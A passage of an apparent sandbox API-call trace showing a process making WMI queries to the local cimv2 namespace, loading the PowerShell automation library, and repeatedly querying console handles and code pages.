riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d99c | out: ppvObject=0x5e8d99c*=0x425c24) returned 0x0 [0065.718] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x4 [0065.718] WbemLocator:IRpcOptions:Query (in: This=0x425c24, pPrx=0x425c3c, dwProperty=2, pdwValue=0x5e8d9c0 | out: pdwValue=0x5e8d9c0) returned 0x80004002 [0065.718] WbemLocator:IUnknown:Release (This=0x425c24) returned 0x3 [0065.718] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x2 [0065.718] CoGetContextToken (in: pToken=0x5e8dd9c | out: pToken=0x5e8dd9c) returned 0x0 [0065.718] CoGetContextToken (in: pToken=0x5e8dd5c | out: pToken=0x5e8dd5c) returned 0x0 [0065.718] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x3 [0065.718] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x5e8ddd8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8ddd4 | out: ppvObject=0x5e8ddd4*=0x60fcb34) returned 0x0 [0065.718] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x3 [0065.718] IUnknown:Release (This=0x60fcb34) returned 0x2 [0065.719] IUnknown:Release (This=0x60fcb34) returned 0x1 [0065.719] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60f0820, puCount=0x5e8e728 | out: puCount=0x5e8e728*=0x2) returned 0x0 [0065.719] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e724*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e724*=0x17, pszText=0x0) returned 0x0 [0065.719] WbemDefPath:IWbemPath:GetText (in: This=0x60f0820, lFlags=4, puBuffLength=0x5e8e724*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e724*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0065.719] CoGetContextToken (in: pToken=0x5e8e0c4 | out: pToken=0x5e8e0c4) returned 0x0 [0065.719] CoGetContextToken (in: pToken=0x5e8e084 | out: pToken=0x5e8e084) returned 0x0 [0065.719] WbemLocator:IUnknown:AddRef (This=0x425c3c) returned 0x2 [0065.719] WbemLocator:IUnknown:QueryInterface (in: This=0x425c3c, riid=0x5e8e100*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e0fc | out: ppvObject=0x5e8e0fc*=0x60fcb34) returned 0x0 [0065.719] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x2 [0065.720] IUnknown:AddRef (This=0x60fcb34) returned 0x3 [0065.720] IEnumWbemClassObject:Clone (in: This=0x60fcb34, ppEnum=0x5e8e6f8 | out: ppEnum=0x5e8e6f8*=0x60fd464) returned 0x0 [0065.721] IUnknown:QueryInterface (in: This=0x60fd464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3b4 | out: ppvObject=0x5e8e3b4*=0x60fd468) returned 0x0 [0065.721] IClientSecurity:QueryBlanket (in: This=0x60fd468, pProxy=0x60fd464, pAuthnSvc=0x5e8e3fc, pAuthzSvc=0x5e8e3f8, pServerPrincName=0x5e8e408, pAuthnLevel=0x5e8e400, pImpLevel=0x5e8e3ec, pAuthInfo=0x5e8e3f0, pCapabilites=0x5e8e3f4 | out: pAuthnSvc=0x5e8e3fc*=0xa, pAuthzSvc=0x5e8e3f8*=0x0, pServerPrincName=0x5e8e408, pAuthnLevel=0x5e8e400*=0x6, pImpLevel=0x5e8e3ec*=0x2, pAuthInfo=0x5e8e3f0, pCapabilites=0x5e8e3f4*=0x1) returned 0x0 [0065.721] IUnknown:Release (This=0x60fd468) returned 0x1 [0065.721] IUnknown:QueryInterface (in: This=0x60fd464, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3a8 | out: ppvObject=0x5e8e3a8*=0x41cddc) returned 0x0 [0065.721] IUnknown:QueryInterface (in: This=0x60fd464, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8e3a4 | out: ppvObject=0x5e8e3a4*=0x60fd468) returned 0x0 [0065.722] IClientSecurity:SetBlanket (This=0x60fd468, pProxy=0x60fd464, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0065.723] IUnknown:Release (This=0x60fd468) returned 0x2 [0065.723] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x1 [0065.723] CoTaskMemFree (pv=0x41e8e0) [0065.724] IUnknown:Release (This=0x60fcb34) returned 0x2 [0065.724] IUnknown:QueryInterface (in: This=0x60fd464, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dd50 | out: ppvObject=0x5e8dd50*=0x41cddc) returned 0x0 [0065.724] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dd0c | out: ppvObject=0x5e8dd0c*=0x0) returned 0x80004002 [0065.724] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8dc00 | out: ppvObject=0x5e8dc00*=0x0) returned 0x80004002 [0065.725] WbemLocator:IUnknown:AddRef (This=0x41cddc) returned 0x3 [0065.725] CoGetContextToken (in: pToken=0x5e8db98 | out: pToken=0x5e8db98) returned 0x0 [0065.725] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8db80 | out: ppvObject=0x5e8db80*=0x41cd3c) returned 0x0 [0065.725] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x41cd3c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8db88 | out: pCid=0x5e8db88*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0065.725] WbemLocator:IUnknown:Release (This=0x41cd3c) returned 0x3 [0065.726] CoGetContextToken (in: pToken=0x5e8db90 | out: pToken=0x5e8db90) returned 0x0 [0065.726] WbemLocator:IUnknown:AddRef (This=0x41cddc) returned 0x4 [0065.726] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8dc04 | out: ppvObject=0x5e8dc04*=0x41cdc4) returned 0x0 [0065.726] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x4 [0065.726] WbemLocator:IRpcOptions:Query (in: This=0x41cdc4, pPrx=0x41cddc, dwProperty=2, pdwValue=0x5e8dc28 | out: pdwValue=0x5e8dc28) returned 0x80004002 [0065.726] WbemLocator:IUnknown:Release (This=0x41cdc4) returned 0x3 [0065.726] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x2 [0065.726] CoGetContextToken (in: pToken=0x5e8e004 | out: pToken=0x5e8e004) returned 0x0 [0065.726] CoGetContextToken (in: pToken=0x5e8dfc4 | out: pToken=0x5e8dfc4) returned 0x0 [0065.726] WbemLocator:IUnknown:AddRef (This=0x41cddc) returned 0x3 [0065.727] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x5e8e040*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e03c | out: ppvObject=0x5e8e03c*=0x60fd464) returned 0x0 [0065.727] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x3 [0065.727] IUnknown:Release (This=0x60fd464) returned 0x2 [0065.727] IUnknown:Release (This=0x60fd464) returned 0x1 [0065.733] CoGetContextToken (in: pToken=0x5e8e5f8 | out: pToken=0x5e8e5f8) returned 0x0 [0065.733] CoGetContextToken (in: pToken=0x5e8e5b8 | out: pToken=0x5e8e5b8) returned 0x0 [0065.734] WbemLocator:IUnknown:AddRef (This=0x41cddc) returned 0x2 [0065.734] WbemLocator:IUnknown:QueryInterface (in: This=0x41cddc, riid=0x5e8e634*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x5e8e630 | out: ppvObject=0x5e8e630*=0x60fd464) returned 0x0 [0065.734] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x2 [0065.734] IUnknown:AddRef (This=0x60fd464) returned 0x3 [0065.734] IEnumWbemClassObject:Reset (This=0x60fd464) returned 0x0 [0065.735] IUnknown:Release (This=0x60fd464) returned 0x2 [0065.739] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0065.739] IUnknown:AddRef (This=0x60fd464) returned 0x3 [0065.739] IEnumWbemClassObject:Next (in: This=0x60fd464, lTimeout=-1, uCount=0x1, apObjects=0x406ea0, puReturned=0x320bf9c | out: apObjects=0x406ea0*=0x0, puReturned=0x320bf9c*=0x0) returned 0x1 [0066.281] IUnknown:Release (This=0x60fd464) returned 0x2 [0066.281] CoGetContextToken (in: pToken=0x5e8e634 | out: pToken=0x5e8e634) returned 0x0 [0066.281] WbemLocator:IUnknown:Release (This=0x41cddc) returned 0x1 [0066.281] IUnknown:Release (This=0x60fd464) returned 0x0 [0066.296] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0066.297] GetLastError () returned 0x0 [0066.297] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5e8e688 | out: lpConsoleScreenBufferInfo=0x5e8e688) returned 1 [0066.297] GetLastError () returned 0x0 [0066.301] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0066.301] GetLastError () returned 0x0 [0066.301] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5e8e688 | out: lpConsoleScreenBufferInfo=0x5e8e688) returned 1 [0066.301] GetLastError () returned 0x0 [0066.305] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0066.305] GetLastError () returned 0x0 [0066.305] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5e8e678 | out: lpConsoleScreenBufferInfo=0x5e8e678) returned 1 [0066.306] GetLastError () returned 0x0 [0066.309] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0066.309] GetLastError () returned 0x0 [0066.309] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5e8e678 | out: lpConsoleScreenBufferInfo=0x5e8e678) returned 1 [0066.310] GetLastError () returned 0x0 [0066.313] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0066.314] GetLastError () returned 0x0 [0066.314] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e680 | out: lpConsoleScreenBufferInfo=0x5e8e680) returned 1 [0066.314] GetLastError () returned 0x0 [0066.314] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0066.314] GetLastError () returned 0x0 [0066.314] CloseHandle (hObject=0x3f) returned 1 [0066.315] GetLastError () returned 0x0 [0066.318] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0066.318] GetLastError () returned 0x0 [0066.318] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e680 | out: lpConsoleScreenBufferInfo=0x5e8e680) returned 1 [0066.319] GetLastError () returned 0x0 [0066.319] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0066.319] GetLastError () returned 0x0 [0066.319] CloseHandle (hObject=0x3f) returned 1 [0066.319] GetLastError () returned 0x0 [0066.319] WriteFile (in: hFile=0x154, lpBuffer=0x31cd118*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x5e8e684, lpOverlapped=0x0 | out: lpBuffer=0x31cd118*, lpNumberOfBytesWritten=0x5e8e684*=0xf, lpOverlapped=0x0) returned 1 [0066.320] GetLastError () returned 0x0 [0066.323] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0066.324] GetLastError () returned 0x0 [0066.324] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e67c | out: lpConsoleScreenBufferInfo=0x5e8e67c) returned 1 [0066.324] GetLastError () returned 0x0 [0066.324] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0066.324] GetLastError () returned 0x0 [0066.324] CloseHandle (hObject=0x3f) returned 1 [0066.324] GetLastError () returned 0x0 [0066.328] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f [0066.328] GetLastError () returned 0x0 [0066.328] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3f, lpConsoleScreenBufferInfo=0x5e8e67c | out: lpConsoleScreenBufferInfo=0x5e8e67c) returned 1 [0066.328] GetLastError () returned 0x0 [0066.328] SetConsoleTextAttribute (hConsoleOutput=0x3f, wAttributes=0x7) returned 1 [0066.329] GetLastError () returned 0x0 [0066.329] CloseHandle (hObject=0x3f) returned 1 [0066.329] GetLastError () returned 0x0 [0066.617] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406f60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.617] GetLastError () returned 0xcb [0066.620] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406f60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.620] GetLastError () returned 0xcb [0066.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8d830, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.693] GetLastError () returned 0xcb [0066.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8d7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.693] GetLastError () returned 0xcb [0066.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8d7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.693] GetLastError () returned 0xcb [0066.737] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0066.737] GetLastError () returned 0xcb [0066.737] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5e8dd40 | out: lpConsoleScreenBufferInfo=0x5e8dd40) returned 1 [0066.737] GetLastError () returned 0xcb [0066.776] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0066.777] GetLastError () returned 0xcb [0066.777] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x5e8e454 | out: lpConsoleScreenBufferInfo=0x5e8e454) returned 1 [0066.778] GetLastError () returned 0xcb [0066.780] GetConsoleOutputCP () returned 0x1b5 [0066.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.781] GetLastError () returned 0xcb [0066.781] GetConsoleOutputCP () returned 0x1b5 [0066.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.781] GetLastError () returned 0xcb [0066.781] GetConsoleOutputCP () returned 0x1b5 [0066.781] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.781] GetLastError () returned 0xcb [0066.781] GetConsoleOutputCP () returned 0x1b5 [0066.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.782] GetLastError () returned 0xcb [0066.782] GetConsoleOutputCP () returned 0x1b5 [0066.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.782] GetLastError () returned 0xcb [0066.782] GetConsoleOutputCP () returned 0x1b5 [0066.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.782] GetLastError () returned 0xcb [0066.782] GetConsoleOutputCP () returned 0x1b5 [0066.782] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.783] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.783] GetLastError () returned 0xcb [0066.783] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.784] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.784] GetLastError () returned 0xcb [0066.784] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.785] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.785] GetLastError () returned 0xcb [0066.785] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.786] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.786] GetLastError () returned 0xcb [0066.786] GetConsoleOutputCP () returned 0x1b5 [0066.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.787] GetLastError () returned 0xcb [0066.787] GetConsoleOutputCP () returned 0x1b5 [0066.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.787] GetLastError () returned 0xcb [0066.787] GetConsoleOutputCP () returned 0x1b5 [0066.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.787] GetLastError () returned 0xcb [0066.787] GetConsoleOutputCP () returned 0x1b5 [0066.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.787] GetLastError () returned 0xcb [0066.787] GetConsoleOutputCP () returned 0x1b5 [0066.787] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.787] GetLastError () returned 0xcb [0066.787] GetConsoleOutputCP () returned 0x1b5 [0066.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.788] GetLastError () returned 0xcb [0066.788] GetConsoleOutputCP () returned 0x1b5 [0066.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.788] GetLastError () returned 0xcb [0066.788] GetConsoleOutputCP () returned 0x1b5 [0066.788] TranslateCharsetInfo (in: lpSrc=0x1b5, 